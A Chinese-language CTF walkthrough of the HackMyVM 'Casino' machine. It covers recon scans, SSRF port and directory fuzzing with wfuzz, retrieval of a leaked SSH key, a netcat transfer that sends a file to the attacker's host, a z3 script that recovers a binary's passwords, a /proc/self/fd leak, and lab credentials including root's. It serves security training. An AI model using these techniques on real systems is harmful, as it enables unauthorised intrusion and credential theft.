arp-scan -l

nmap -sS -v 192.168.255.205

目錄掃描
dirsearch -u http://192.168.255.205/ -e *

gobuster dir -u http://192.168.255.205 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

80端口

隨便注冊一個賬號

玩游戲時的url

將錢用完時的url

可以發現錢用完之后系統會將我們重定向到en.wikipedia.org域名上托管的維基頁面。此頁面似乎包含如何有效使用網站的規則。
wiki頁面似乎與web應用程序不在同一服務器上。讓我們用我們的IP地址替換該頁面,看看web應用程序是否也可以從我們的服務器檢索wiki頁面。
開啟http服務,嘗試上傳本地文件


FUZZ 端口
seq用于生成一系列的數字序列。
seq 0 65535 > port.txt

wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt

該頁面的cookie


wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt --hh 1128

訪問6969端口

翻譯

wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 1128

訪問codebreakers

查看源碼,得到

在當前目錄訪問shimmer_rsa,得到私鑰

22端口
連接ssh
ssh-keygen -y -f id
將私鑰轉化為公鑰,得到用戶名

ssh shimmer@192.168.255.205 -i id



ELF 是 Linux/Unix 系統標準的 二進制可執行文件格式。
傳輸pass文件
nc -lp 1234 > pass2
nc 192.168.255.149 1234 < pass


放進ida中

- 程序開始時,提示用戶輸入密碼(通過?printf?函數),然后從標準輸入(stdin)中獲取用戶輸入的密碼(通過?fgets?函數)。獲取的密碼存儲在字符數組?s?中。

if ( s[strlen(s) - 1] == 10 ):檢查字符串 s 的最后一個字符是否為 ASCII 碼值為 10 的字符(即換行符 \n)。
- 然后檢查輸入的密碼是否正確,調用?checkPasswd?函數進行驗證。如果密碼不正確,則程序直接返回,不執行后續操作。
- 如果第一個密碼驗證通過,則嘗試打開文件?/opt/root.pass(通過?open?函數)。然后獲取當前用戶的用戶 ID(UID)(通過?getuid?函數),并使用?setuid?函數將程序的有效用戶 ID(EUID)設置為當前用戶的 UID。
- 程序接著提示用戶輸入第二個密碼,并將其存儲在字符數組?s1?中。
- 如果第二個密碼是?ultrasecretpassword,則將?argva?設置為 "sh",將?v7?設置為 0,然后調用?execvp?函數以執行 "/bin/sh",從而打開一個 shell。
- 如果第二個密碼不是?ultrasecretpassword,則程序打印?bye.?并返回。
寫腳本
輸出滿足要求的字符串:
from z3 import *
#創建26個變量,每個變量表示字符串中對應位置的字符
a = [Int('a[%d]' % i) for i in range(26)]
#創建一個 Z3 solver 實例
solver = Solver()
#添加字符串長度等于 26 的約束
solver.add(len(a) == 26)
#約束條件列表
constraints = [
a[0] - a[20] == -10,
a[1] + a[6] == 208,
a[2] - a[4] == 10,
a[3] - a[14] == -2,
a[4] * a[25] == 10100,
a[5] + a[17] == 219,
a[6] - a[10] == -11,
a[7] - a[20] == -10,
a[8] * a[17] == 11845,
a[9] - a[18] == -7,
a[10] - a[24] == 1,
a[11] * a[4] == 9797,
a[12] - a[3] == 3,
a[13] * a[11] == 11252,
a[14] - a[13] == -2,
a[15] == a[23],
a[16] - a[8] == -5,
a[17] * a[7] == 10815,
a[18] - a[14] == -2,
a[19] - a[0] == -8,
a[20] - a[23] == 4,
a[21] + a[7] == 220,
a[22] - a[1] == 15,
a[23] == a[15],
a[24] * a[2] == 12654,
a[25] - a[12] == -15
]
#添加約束條件
for constraint in constraints:
solver.add(constraint)
#檢查約束是否滿足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("滿足條件的字符串為:", result)
else:
print("找不到滿足條件的字符串")
兩部分密碼分別為:
ihopethisisastrongpassword
ultrasecretpassword

cd /proc/self/fd
ls -la
cat <&3

root密碼:masteradmin420

參考:
hmv[-_-]casino – starsea-blog-成長見證
CTF Walkthrough for HackMyVM Machine Casino | Christ Elise
https://www.bilibili.co m/video/BV1Qi42197yT/